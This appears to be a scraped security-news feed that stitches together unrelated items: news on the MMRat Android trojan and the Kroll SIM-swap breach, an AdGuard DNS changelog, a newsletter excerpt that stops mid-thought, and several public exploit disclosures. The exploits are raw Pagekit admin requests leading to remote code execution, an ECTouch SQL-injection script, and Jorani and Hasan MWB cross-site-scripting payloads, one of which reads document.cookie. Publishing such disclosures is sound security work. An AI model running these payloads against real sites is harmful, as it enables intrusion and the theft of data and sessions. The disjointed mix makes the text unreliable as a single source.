By Deeba Ahmed
So far, the potent Android trojan MMRat has remained undetected on VirusTotal.
This is a post from HackRead.com Read the original post: New MMRat Android Trojan Uses Fake App Stores for Bank Fraud

*   **MMRat is a new Android banking trojan targeting Southeast Asian users.**

*   **It is distributed through phishing websites disguised as official app stores.**

*   **It uses a customized Protobuf-based C2 protocol to improve its performance.**

*   **It captures screenshots, controls devices, collects extensive device, personal data.**

*   **Users can protect themselves from MMRat by downloading apps from trusted sources and avoiding suspicious websites.**

Cybersecurity researchers at Trend Micro Mobile Application Reputation Service (MARS) have discovered a stealthy new Android trojan targeting Southeast Asian mobile phone users since late June 2023.

This Android banking trojan, dubbed MMRat due to its distinctive package called com.mm.user, features a long list of capabilities as it can capture screenshots, remotely control victims’ devices, monitor user input, and perform many other tasks apart from bank fraud while staying undetected.

MARS researchers wrote in a blog post published on August 29, 2023, that the malware remained undetected on VirusTotal.

**How is MMRat Distributed?**

Most MMRat samples were downloaded from phishing websites disguised as official app stores in different languages to expand their reach. It is worth noting that researchers couldn’t determine how victims were lured into visiting these fake app stores.

This “potent” malware has been declared a “considerable threat” to mobile phone users. It uses a specially designed, fully customized Protobuf-based C2 protocol, a rare feature in Android banking trojans. This feature improves the malware’s performance while transferring large data volumes.

**Attack Sequence**

MMRat’s primary focus is on conducting bank fraud. The attack relies on the victim downloading and installing the malware on their device and granting it the required permissions. Once done, the malware quickly establishes communication with its remote server, sending copious amounts of data, including personal and mobile data, keylogging data, device status, etc.

Moreover, the malware operator can remotely turn on the device when not in use, unlock the screen, and carry out bank fraud. They may also capture screens for server-size visualization. After performing its malicious tasks, MMRat can self-uninstall and remove every trace of the manipulation.

Attack Sequence (Trend Micro)

**MMRat Capabilities**

As mentioned above, MMRat is a highly capable malware that can capture user input/screen content and allow remote control of the device. Relying on the Android Accessibility service and MediaProjection API for its functioning, the malware can easily detect when the device is on or off and reboot it by registering a receiver on the system.

Furthermore, the trojan avoids suspicion by disguising itself as an official government or dating app and enters the victim’s device through a phishing website. It also launches a 1×1-sized pixel activity to stay persistent.

**What Data Does it Collect?**

According to Trend Micro’s blog post, MMRat can collect extensive device and personal data such as screen and battery data such as whether the screen is locked and current activities, installed apps, contact lists, and network data, e.g., signal strength and network type.

The Android trojan also schedules a time task to collect data at regular intervals. This timer executes every second, and the counter resets every 60 seconds. It looks for victims’ contact lists and installed app info to get maximum personal details. 

After obtaining Accessibility permission, it can obtain extended permission and modify device settings by bypassing user intervention. It is also interested in lock screen patterns, which it collects when the victim unlocks the device and sends it to the C2 server so that the malware operator can unlock the device when desired.

What’s worse, it captures real-time screen content and streams it to a remote server via the MediaProjection API. MMRat also uses the “user terminal state” approach for capturing screen data, in which it doesn’t record the screen as a video but dumps the child nodes in Windows every second.

**How to Stay Protected?**

Users must download apps from trusted platforms like Google Play Store or Apple App Store and avoid suspicious websites posing as app stores. It is equally important to keep updating device software to mitigate security threats like MMRat. Lastly, be very careful when granting Accessibility permissions to an app.

**RELATED ARTICLES**

1.  WhatsApp Pink is malware spreading through group chats
2.  Android apps on APKPure store caught spreading malware
3.  Fake reviews & third-party apps cause 50% of Android threats

New MMRat Android Trojan Uses Fake App Stores for Bank Fraud

An issue in Pagekit pagekit v.1.0.18 alows a remote attacker to execute arbitrary code via thedownloadAction and updateAction functions in UpdateController.php

**Problem**

**There is a logical flaw that leads to obtaining shell access.**

**Technical Details**

*   Pagekit version: 1.0.18
*   Webserver: nginx
*   Database: mysql
*   PHP Version: 7.4

Vulnerability Path:  
app/installer/src/Controller/UpdateController.php  
Lines 32-72: downloadAction and updateAction functions  
The downloadAction function retrieves a file from a remote location to the local system.  
The updateAction function reads the downloaded file.  
Within it, the SelfUpdater function is called at app/installer/src/SelfUpdater.php.  
It includes the app/installer/requirements.php file from the remotely fetched file.  
This can lead to remote code execution.  
Based on this, constructing a zip file as follows:  
pagekit.zip

The data package is as follows

    POST /index.php/admin/system/update/download HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: keep-alive
    Content-Length: 58
    Content-Type: application/x-www-form-urlencoded
    Cookie: Administrator's Cookie
    Host: localhost
    Referer: http://localhost/index.php/admin/system/update/download
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
    
    url=constructed_zip_file&_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2
    

    POST /index.php/admin/system/update/update HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cache-Control: max-age=0
    Connection: keep-alive
    Content-Length: 46
    Content-Type: application/x-www-form-urlencoded
    Cookie: Administrator's Cookie
    Host: localhost
    Referer: http://localhost /index.php/admin/system/update/update
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
    
    _csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2

CVE-2023-41005: There is a logical flaw that leads to obtaining shell access. · Issue #977 · pagekit/pagekit

ECTouch v2 was discovered to contain a SQL injection vulnerability via the $arr['id'] parameter at \default\helpers\insert.php.

#SQL Injection Vulnerability in ECTouch v2

###Vulnerability Position

In the insert\_bought\_notes function on line 285 in the \\ectouch-main\\include\\apps\\default\\helpers\\insert.php file, the incoming $arr\['id'\] parameter is not verified, resulting in a sql injection vulnerability.

###POC

Use python to write scripts for vulnerability verification.

#!/usr/bin/python
\# -\*- coding: utf-8 -\*-
\# @Author : qyg
\# @File : sqli check for ECTouch v2
\# @function : Detect for SQL injection vulnerabilities in ECTouch.

import requests,re

#your target
target \= 'http://127.0.0.1/'

payload \= '/index.php?m=default&c=user&a=register&u=0'

url \= target + payload

headers \= {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54',
    'Referer': '554fcae493e564ee0dc75bdf2ebf94cabought\_notes|a:1:{s:2:"id";s:49:"0&&updatexml(1,concat(0x7e,(database()),0x7e),1)#";}'
}

response \= requests.get(url, headers\=headers)

print(response.text)

match \= re.search('XPATH syntax error: \\'~(.\*)~\\'',response.text)

if match:
    print("There is SQL injection vulnerability, and you are currently using the following database:" + match.group(1))

Running results:

CVE-2023-39560: GitHub - Luci4n555/cve_ectouch: detail

Jorani version 1.0.3 suffers from a cross site scripting vulnerability.

    ## Title: Jorani-v1.0.3-©2014-2023-Benjamin-BALET-XSS-Reflected-Information-Disclosure## Author: nu11secur1ty## Date: 08/27/2023## Vendor: https://jorani.org/## Software: https://demo.jorani.org/session/login## Reference: https://portswigger.net/web-security/cross-site-scripting## Reference: https://portswigger.net/web-security/information-disclosure## Description:The value of the `language request` parameter is copied into aJavaScript string which is encapsulated in double quotation marks. Thepayload 75943";alert(1)//569 was submitted in the language parameter.This input was echoed unmodified in the application's response.The attacker can modify the token session and he can discoversensitive information for the server.STATUS: HIGH-Vulnerability[+]Exploit:```POSTPOST /session/login HTTP/1.1Host: demo.jorani.orgAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111Safari/537.36Connection: closeCache-Control: max-age=0Cookie: csrf_cookie_jorani=9b4b02ece59e0f321cd0324a633b5dd2;jorani_session=fbc630d2510ffdd2a981ccfe97301b1b90ab47dc#ATTACKOrigin: http://demo.jorani.orgUpgrade-Insecure-Requests: 1Referer: http://demo.jorani.org/session/loginContent-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 183csrf_test_jorani=9b4b02ece59e0f321cd0324a633b5dd2&last_page=session%2Flogin&language=en-GBarh5l%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3ennois&login=bbalet&CipheredValue=```[+]Response:```HTTPHTTP/1.1 200 OKdate: Sun, 27 Aug 2023 06:03:04 GMTcontent-type: text/html; charset=UTF-8Content-Length: 681server: Apachex-powered-by: PHP/8.2expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cacheset-cookie: csrf_cookie_jorani=9b4b02ece59e0f321cd0324a633b5dd2;expires=Sun, 27 Aug 2023 08:03:04 GMT; Max-Age=7200; path=/;SameSite=Strictset-cookie: jorani_session=9ae823ffa74d722c809f6bda69954593483f2cfd;expires=Sun, 27 Aug 2023 08:03:04 GMT; Max-Age=7200; path=/; HttpOnly;SameSite=Laxlast-modified: Sun, 27 Aug 2023 06:03:04 GMTvary: Accept-Encodingcache-control: private, no-cache, no-store, proxy-revalidate,no-transform, must-revalidatepragma: no-cachex-iplb-request-id: 3E497A1D:118A_D5BA2118:0050_64EAE718_12C0:1FBA1x-iplb-instance: 27474connection: close<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4>A PHP Error was encountered</h4><p>Severity: 8192</p><p>Message:  strlen(): Passing null to parameter #1 ($string) of typestring is deprecated</p><p>Filename: controllers/Connection.php</p><p>Line Number: 126</p></div><div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4>A PHP Error was encountered</h4><p>Severity: Warning</p><p>Message:  Cannot modify header information - headers already sentby (output started at/home/decouvric/demo.jorani.org/system/core/Exceptions.php:272)</p><p>Filename: helpers/url_helper.php</p><p>Line Number: 565</p></div>```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Jorani/2023/Jorani-v1.0.3-%C2%A92014-2023-Benjamin-BALET-XSS-Reflected-Information-Disclosure)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/08/jorani-v103-2014-2023-benjamin-balet.html)## Time spend:01:35:00

Jorani 1.0.3 Cross Site Scripting

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

**Hasan MWB 1 Cross Site Scripting**

Posted Aug 28, 2023

Authored by indoushka

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4a53646feef7ce0d66491bbe2483dcbe70097fdb2aef17667fd6e5a2c356c92e

Download | Favorite | View

**Hasan MWB 1 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Hasan MWB v1 - XSS Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               || # Vendor    : http://sourceforge.net/                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /?q=1</title><ScRiPt >prompt(/indoushka/)</ScRiPt>[+] go to http://127.0.0.1/hasanmwbsourceforgenet/?q=1%3C/title%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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Hasan MWB 1 Cross Site Scripting

By Habiba Rashid
Cryptocurrency firms, including FTX, BlockFi, and Genesis, have contacted victims of data breaches caused by a sim-swapping attack…
This is a post from HackRead.com Read the original post: Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms

Cryptocurrency firms, including FTX, BlockFi, and Genesis, have contacted victims of data breaches caused by a sim-swapping attack on Kroll, a provider of services and digital products related to valuation, governance, risk, and transparency.

**KEY FINDINGS**

*   **SIM-swapping attack on Kroll led to data breach of 3 major crypto firms.**

*   **Customers of FTX, BlockFi, and Genesis warned of potential phishing attacks.**

*   **Kroll investigates SIM-swapping attack, emphasizes data security commitment.**

Three major cryptocurrency companies, FTX, BlockFi, and Genesis, grapple with the aftermath of a sophisticated data breach that occurred following a SIM-swapping attack on the renowned risk and financial advisory firm Kroll.

On 19th August 2023, Kroll was informed that a threat actor had exploited a T-Mobile account owned by one of its employees through a meticulously executed SIM-swapping attack.

In this type of attack, unauthorized individuals manipulate mobile carriers into transferring a victim’s phone number to a new SIM card under their control. In this case, the attacker successfully accessed sensitive information stored on Kroll’s systems, specifically files containing personal data related to bankruptcy claimants in cases involving FTX, BlockFi, and Genesis.

The impact of this breach has been significant. Both FTX and BlockFi were quick to notify their customers of the breach. FTX revealed that the compromised information included customer names, addresses, email addresses, and account balances, reassuring users that account passwords and digital assets remained unaffected. BlockFi echoed the sentiment, cautioning its users about a potential increase in phishing attempts and spam phone calls due to the breach.

Kroll promptly took steps to secure the compromised accounts and initiated an investigation into the incident in collaboration with the FBI. While the affected companies have emphasized that the security of their systems and digital assets remains intact, there are concerns that the stolen data could be leveraged in phishing attacks.

Users of these platforms have reported receiving phishing emails enticing them to withdraw funds from their accounts, indicating that fraudsters are already attempting to exploit the situation.

Data breach notifications from FTX, BlockFi, and Genesis

SIM-swapping attacks, although not new, remain a potent tool in the arsenal of cybercriminals. By gaining control of a victim’s phone number, attackers can effectively bypass multi-factor authentication and take control of various accounts tied to that number.

As more businesses and individuals rely on mobile phone numbers for authentication and account recovery, the risks associated with SIM-swapping attacks grow. 

Cybersecurity experts suggest a few key steps to minimize vulnerability: regularly review and update account recovery methods to include security keys or mobile authentication apps; reduce reliance on SMS-based authentication; and explore alternatives to providing phone numbers for account registration.

In a statement, Kroll, a provider of services and digital products related to valuation, governance, risk, and transparency, reiterated its commitment to data security and information protection, expressing regret for any inconvenience caused and emphasizing its dedication to safeguarding clients, partners, and the broader community.

Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms

AdGuard DNS before 2.2 allows remote attackers to cause a denial of service via malformed UDP packets.

AdGuard DNS versions

2.2.1

Aug 7, 2023

In this update, we have improved the DNS server performance, fixed a few issues, and released a new authorization service that will allow users to access their personal account quicker.

Changelog

Performance

The number of AdGuard DNS users is growing at an enormous rate, and the total number of requests per second has closely approached 2 million. Meanwhile, over 90% of these requests come to us through encrypted DNS protocols (DoT, DoH, DoQ, DNSCrypt). Therefore, in this release, we focused on improving the DNS server’s performance and achieved great success. We can now handle an astronomical number of requests with reasonable server power.

Features

Added Czech and Slovak languages

Improved readability of highlighted text in dark theme #617

Full DNS address now displayed when setting up a device in a mobile browser #625

Fixes

Misalignment of columns when the “Device not connected” indicator dot appears #575

AdGuard verification code auto-fill issue with two-factor authentication enabled in Safari #314

Email address auto-fill bug on the login page in Safari #319

Incorrect functioning of the $dnsrewrite modifier

2.2

Apr 24, 2023

The highlight of this release is the ability to customize the Team subscription — now you can choose the number of devices, servers, and monthly requests you want before purchasing it. Also, we've added the option to select a response code for blocked requests and, of course, fixed some bugs.

Changelog

Features

Added the ability to customize the Team subscription

Added more information about monthly traffic update #490

Added the option to select a response code for blocked requests

Added AdGuard DNS blog

Updated Linked IP block design

Updated translations #570

Fixes

In the mobile version of Safari, the filtering log automatically reverts to its default state after scrolling

Problem with statistics and log retention settings #472

EDNS Client Subnet could not be disabled #542

Error condition is not reset when the type of line to be added is changed #563

Slashes are not saved in the comments of the user rules editor #576

Real-time query log updates don't retain filter changes #460

Fixed an issue that allowed a DoS attack against the service using malformed UDP packets

2.1.6

Mar 1, 2023

Minor bugs should be tackled before they build up and affect the performance of AdGuard DNS. We aim to release patches in a timely fashion, and here's another one.

Changelog

Fixed

Can't reach the 'Try AdGuard DNS' button in Safari on iOS #436

The settings of the selected server are reset after refreshing the page

The domain is not found in the search field if it was copy-pasted #530

Changed the hint text for clearing device logs/statistics #536

Added

Default TTL hint #535

Ability to customize which response will be used for a blocked domain

Option to block Mozilla canary domain

2.1.5

Feb 2, 2023

In this patch we've fixed several bugs — now AdGuard DNS runs better.

Changelog

Fixed

Spikes on the stat graph

Incorrect triggering of the device limit

Resetting statistics does not occur in all filter sections

Unable to log in to account via Apple ID if 2FA is enabled

Top blocked domains and top requested domains values in mobile version are mixed up #482

Resetting filters in filtering log does not clear domain search field #524

2.1.4

Dec 29, 2022

This patch is a little New Year’s present for you. We’ve significantly improved the performance of our DNS servers, added instructions for connecting AdGuard DNS to AdGuard VPN and AdGuard Browser extension, and fixed minor bugs.

2.1.3

Dec 7, 2022

Now it’s possible to connect an Android or iOS device with AdGuard VPN to AdGuard DNS via email. To do so:

Open the AdGuard DNS dashboard and tap the Connect new device button,

Choose Android or iOS and enter your device’s name,

Tap Next and then Send link by email,

Enter the email address you want to send the link to and click Send,

​​Open the email on the device you want to connect to AdGuard DNS and tap the Connect device button.

For this release we’ve also expanded the list of used filters, made some UI enhancements, fixed a few bugs, and added Vietnamese localization.

Added

Option to connect AdGuard DNS in the AdGuard VPN app by sending a configuration email

Vietnamese language support

Added filters

1Hosts (mini)

HaGeZi Personal Black & White

HUN: Hufilter

LIT: EasyList Lithuania

No Google

Fixed

AdGuard DNS homepage doesn’t load when iCloud+ Private Relay is enabled

2.1.2

Nov 22, 2022

In AdGuard DNS v2.1.2 we’ve enhanced the dashboard interface, added a server in Johannesburg and an option to disable automatic filtering log updates. Also, we’ve fixed some bugs so it will no longer be a problem to rename the device or understand the statistical report.

If you use AdGuard VPN for Android or iOS, you can easily add an encrypted DNS to your device. Just follow our instructions when adding a new device.

Added

Option to disable automatic filtering log updates #264

Johannesburg server

Turkish language support

Fixed

Flags were displayed incorrectly in the Traffic Direction section#428

Blank space in the Connection check section #431

Text started to glitch when renaming a device #354

Incorrect dates in the weekly stats report

2.1.1

Oct 25, 2022

This hotfix is intended to correct minor errors and add two localizations as a bonus.

Changelog

\[Enhancement\] Added translation of the dashboard and login page into Portuguese and Portuguese Brazilian

\[Fixed\] Incorrect time of latest device activity #427

\[Fixed\] Incorrect VPN subscription status #352

\[Fixed\] Refreshing the Device settings page redirects back to server settings #430

2.1

Oct 20, 2022

AdGuard DNS now supports DNS-over-HTTP/3 in experimental mode. It was a challenge, but we made it. For now only AdGuard Home and dnsproxy fully support DNS-over-HTTP/3, but soon DoH3 will appear in other AdGuard products. However, we focus on DNS-over-QUIC and consider it more advanced, but we strive to support the other protocols too, and DoH3 is a proof of that.

Another good news is that we will email AdGuard DNS users weekly and monthly reports with stats on requests, devices, and companies, which is convenient and visual. If there are too many reports, you can unsubscribe at any time.

Changelog

\[Enhancement\] Added the Apply button that appears after changing the server name

\[Enhancement\] Query log data cutoff in desktop mode #366

\[Enhancement\] Query log page numbers move when a new page is opened #368

\[Fixed\] Switching from 90 days to anything less causes dates to overlap #323

\[Fixed\] Text is cut off for the last domain in Top domains #339

\[Fixed\] Dates are cut off on the left and right side of the chart (mobile version of the website) #341

\[Fixed\] Misleading subscription status (from AdGuard VPN) #352

\[Fixed\] Wrong status of applied unblocking rules #361

\[Fixed\] The "Refresh" button on the homepage does not override the number of requests

\[Fixed\] Query log data is cut off (desktop version of the website) #366

\[Fixed\] Limit triggering in Enterprise plan

\[Fixed\] Can't scroll to account settings on Safari for macOS #353

\[Fixed\] In some cases the statistics were counted incorrectly

\[Fixed\] Top Destinations stats overlap when set to 90 days #326

2.0.1

Sep 7, 2022

It's been two weeks since the release of AdGuard DNS 2.0, but there's still a pleasant aftertaste. We've been painstakingly working on this product to give you a reliable and convenient tool to control your online traffic. And we succeeded.

Still, small bugs had crept into the release. That's why we're publishing a patch today: so you can enjoy the service, and we can move on to some bigger tasks with peace of mind.

Changelog

\[Enhancement\] Added search to the DNS knowledge base

\[Enhancement\] Updated link for Contact Us button on purchase page

\[Enhancement\] Improved the Traffic Destinations page

\[Enhancement\] Add an option to use add-cpe-id in Dnsmasq to identify the device

\[Fixed\] Disabling logs disables tariff statistics

\[Fixed\] Numbers in Japanese, Korean, Chinese are displayed incorrectly

2.0

Aug 18, 2022

The beta testing phase is finally over! From now on the new level of traffic control is available for you. With AdGuard DNS 2.0 you can:

Flexibly configure domain blocking via blocklists, query log and user rules;  

See real-time requests statistics from all connected devices;  

Enable and set up Parental control;  

Learn more about all the changes and improvements of AdGuard DNS 2.0 in our blog.

0.6

Jul 29, 2022

Check out the sixth beta version of AdGuard DNS (and hopefully the final one before the release). In it we’ve improved the dark theme: updated the map styles and QR-code, so that everything could be easily read and scanned. And, of course, we fixed some minor bugs. The private AdGuard DNS now runs smoother!

Changelog

\[Enhancement\] Updated map styles in the dark theme

\[Enhancement\] Added an option to disable iCloud Private Relay

\[Fixed\] QR code is not scanned in the dark theme

\[Fixed\] Autofill doesn’t work in Safari on macOS and iOS

\[Fixed\] Minor bug fixes in desktop и mobile versions

0.5

Jul 13, 2022

There are five fingers in a hand, five oceans on Earth, and five betas of the private AdGuard DNS. Today we're releasing the fifth beta of our DNS and we hope you'll rate it 5/5!

In this version we’ve implemented support for DDR (Discovery of Designated Resolvers) by the latest draft of the new standard. With this feature, an encrypted connection to the DNS server will be set up automatically on devices with DDR support, provided the device previously knew the server address. A computer or smartphone will send a request to the known address and receive all the necessary information to establish a secure connection.

DDR support appeared in Windows 11 Insider Preview Build 22489, which means that the feature will get into the release version after a while. When this happens, Windows and AdGuard DNS users will be automatically reconnected to encrypted DNS servers – public or private, depending on the services selected earlier.

We’ve also improved ECS (EDNS Client Subnet) implemented in the third beta. Servers now respond with more precise IP addresses that better match your location. Furthermore, we are continuing to refine the open AdGuard DNS API, and now there are methods for getting statistics. All documentation is available at Knowledge Base.

We’ve fixed some bugs and worked on the interface: authorization via Apple ID now works properly, the dark theme has become really dark, and the Query log is prettier than ever. French, Italian, Chinese, Japanese, and Korean were added to the dashboard, and we are committed to continue localizing the private AdGuard DNS, making it accessible to users from all over the world!

Changelog

\[Enhancement\] Added support for DDR (Discovery of Designated Resolvers)

\[Enhancement\] Statistic retrieval methods were added to the API

\[Enhancement\] Added an option to change subscription type

\[Enhancement\] Added an option to extend subscription

\[Enhancement\] Added support for Chinese, Japanese, Korean, French, and Italian

\[Enhancement\] Added the "Don’t ask again" checkbox to the system notification that appears when deleting user rules

\[Fixed\] After logging in via Apple ID the personal account opens instead of dashboard if the user has an AdGuard VPN subscription

\[Fixed\] In dark theme statistics blocks are highlighted in white

\[Fixed\] In dark theme text in some fields is grayed out

\[Fixed\] Some elements in the mobile version of the website are displayed incorrectly

0.4

Jun 21, 2022

The period of active "building" of the private AdGuard DNS is left behind, and now we're polishing the service to a shine. Just take a look at the current changelog and compare it to the one we published for the previous beta. The difference is obvious.

The fourth beta features dark theme and language selection – at the moment, the dashboard is translated into German, Spanish, and Russian. To find both options, go to Account settings. And some more good news: from now on all AdGuard VPN users with a subscription will get the Personal plan of the private AdGuard DNS for free.

We hope you’ll enjoy the new version. Use the service and leave feedback on any platform you like.

Changelog

\[Enhancement\] Added dark theme

\[Enhancement\] Added support for VPN subscriptions and information about VPN subscribers automatically getting a Personal DNS subscription

\[Enhancement\] Added German and Spanish localizations

\[Enhancement\] Improved search function in the filter section on mobile devices

\[Enhancement\] Supplemented instructions for different devices

\[Enhancement\] Added a link to DNS rules syntax in the query log dialog

\[Fixed\] The “View device settings” button doesn't work on iOS devices

\[Fixed\] The “Unable to renew subscription” popup hangs for too long

0.3.1

Jun 10, 2022

The recently released third beta of private AdGuard DNS was really good and brought a lot of useful features to users. However, as it turned out, it contained a few flaws. So that you don't have to deal with them anymore, we are releasing a patch v0.3.1 for private AdGuard DNS.

Changelog

\[Fixed\] Clicking the Block button in Query log deletes all existing user rules and replaces them with a new one #265

\[Fixed\] Unable to move devices between servers #248

\[Fixed\] Incorrect links on the "Thanks for your purchase" page

\[Fixed\] Discount promo codes do not work correctly

\[Fixed\] There is no payment button in the mobile version of the website

\[Fixed\] Incorrect designation of the number of requests in Statistics

0.3

May 26, 2022

Meet the third beta version of private AdGuard DNS! We are steadily moving towards a full-fledged product, adding new features, changing and improving UI — everything to make you really enjoy using AdGuard DNS.

The version history – in front of your eyes

First and foremost, we've added a version history page for the AdGuard DNS service. Now you can see the full list of changes, learn about new features, and see how the work on private AdGuard DNS service is progressing.

Contribute to AdGuard DNS translation

Until now, private AdGuard DNS could only be used in English: first we had to make sure everything was working as it should. With this version we've extended the geography by adding the possibility to translate the dashboard into different languages. Help us make AdGuard DNS more accessible to everyone by participating in the translations! You can find a detailed article on how to use the Crowdin platform in our Knowledge Base. And if you already know how to use it, visit the AdGuard DNS project in Crowdin. Select the Dashboard and choose the language you want, then you're ready to translate!

AdGuard DNS Knowledge Base

Subscription

We've added a paid subscription on private AdGuard DNS. Subscription is not required during beta testing, but we'd appreciate it if you'd like to support us now.

DNS filters

We've also fixed DNS filters: eliminated the bug with the /etc/hosts-style rules failing to work and added support for rules with $dnsrewrite. By the way, you can read about the DNS filtering syntax in the Knowledge Base.

ECS support

The AdGuard DNS servers now support EDNS Client Subnet (ECS).

This feature allows users to get responses corrected for the location of the DNS user. We had long been hesitating to implement it in AdGuard DNS: ECS assumes handing over an anonymized user's IP address to the name server. In this version, we've solved the problem: instead of the user's IP address, we pass another address from approximately the same location as the user's.

New blocklists

We've added a lot of new blocklists — now it's even easier to customize AdGuard DNS. And if that's not enough, you can request and add more blocklists in the GitHub repository (before you do that, read requirements for blocklists in the section “What Blocklists Can Be Added Here”).

Open API

AdGuard DNS now has an open API. If you want to integrate with AdGuard DNS, read the documentation.

UI fixes and more

We've also fixed a lot of minor bugs and added some useful features.

Test private AdGuard DNS and leave feedback on any convenient platforms — it will help us become better.

Changelog

\[Enhancement\] Improved the appearance of the multiselect (element with the ability to select multiple values, such as countries, devices)

\[Enhancement\] For the device location, the Traffic Destination section uses data from its last activity

\[Fixed\] Incorrect detection for account time zone

\[Fixed\] Statistics and logs do not get cleared when their retention period is changed

\[Fixed\] Incorrect country detection for some domains

\[Fixed\] Significant delay in clearing logs and statistics

\[Other\] Added the option "Last 7 days" to date selector

0.2

Mar 16, 2022

We’ve all been waiting for it: we're proud to present the open beta of private AdGuard DNS! From now on, anyone can set up their own DNS server.

We took the best of AdGuard DNS and AdGuard Home and designed a product that would be flexible and customizable, meet the needs of "geeks", and have a user-friendly interface. We hope we succeeded! And now let's take a closer look at the best features of private AdGuard DNS.

Block/unblock domains

With a private DNS server, it is only you who decides which domains should be blocked and which shouldn’t — on each device! Connect your computer, smartphone, tablet or router and manage their requests as desired.

Blocklists management

You can also choose which domain blocking rules should be implemented. And those who aren't satisfied with dozens of pre-installed blocklists can import and export their own custom rules.

Advanced statistics

Now you can see the full statistics of your requests: how many requests were registered, to which companies, and to which countries. Besides, you can view this information for different dates, countries, and even for different devices connected to your DNS server. And of course, block and unblock requests on the go.

Parental control

To protect your child from online content you deem inappropriate, you can use Parental control. You can activate the safe search and manually specify domains for blocking as well as set the schedule: for instance, not allow your child to watch videos during homework.

Join beta testing

To take part in beta testing go to AdGuard DNS website and press \*Join beta\*\*\*, then sign up or log into your AdGuard account. You're done! Create your own DNS server and manage your requests — you are in control.

0.1

Sep 28, 2021

Great news: AdGuard DNS is advancing to a new level. We're about to release the product that many have yearned for so long — the private AdGuard DNS!

What a public DNS server blocks cannot be changed — it only has to be taken for granted. With your own DNS server, you'll be in control of all the query statistics and be able to choose which domains you want to block. It'll allow you to add blocklists and set up Parental control. And the user-friendly interface will make it no problem to get to grips with it all.

We added a new website where you can already see what the private AdGuard DNS interface will look like, learn how to connect to the public DNS server, and subscribe to the AdGuard DNS newsletter. If you do, we'll message you at launch and keep you up-to-date with the latest AdGuard news.

Thank you for your support! Stay tuned — and in the meantime, we're working to make sure the next release is to your liking.

CVE-2023-41173: AdGuard DNS — ad-blocking DNS server

The latest activity from Lazarus Groups, .gov domains scamming people out of "V-Bucks" and more in this week's edition.

Thursday, August 24, 2023 14:08

Welcome to this week’s edition of the Threat Source newsletter.

I have no idea how “Fortnite” keeps coming up in this newsletter, but here we are again.

Even though the game/metaverse has never been bigger, it had been a while since I had heard about “V-Bucks” scams. V-Bucks are the in-game virtual currency “Fortnite” uses to sell character skins and other visual elements.

After the game’s initial surge in popularity, scams claiming to get players easy V-Bucks were all over the place in the form of fake advertisements, phishing emails, scams and YouTube videos. And as the game has only become more ubiquitous, so have scams and cyber attacks centered around the game.

Wired reported last week that a central network of bad actors is responsible for compromising legitimate domains (some of them with the .gov and .edu top-level domains) and using them to trick players into sharing personal information or downloading malicious apps. This widespread campaign targets players of “Fortnite” and “Roblox,” another half-game, half-metaverse.

These compromised sites promised to send rewards in these games to players in exchange for clicking on a link, downloading a file or filling out a form.

This led me down another rabbit hole of potential Fortnite scams that I hadn’t thought about, which are the thousands of knockoffs that exist.

For some reason, just searching “Fortnite” on the Google Play store doesn’t return any results, but when you search “Fortnite game,” users are served with tons of apps of questionable origin and legitimacy. The real “Fortnite” can only be downloaded from the Epic Games Store, owned by the game’s publisher and the subject of a long legal saga with Apple.

The second-most-popular result for “Fortnite game” is something called “Battle Royale Chapter 4 Season3” published on the store by the auspiciously named “EPic Games,” which wreaks of the same vibes as a typosquatted domain.

Some of the top reviews for the app also seem to be written by bots, and in one case, the most recent 5-star review came from a user who appeared to credit ChatGPT with writing the text.

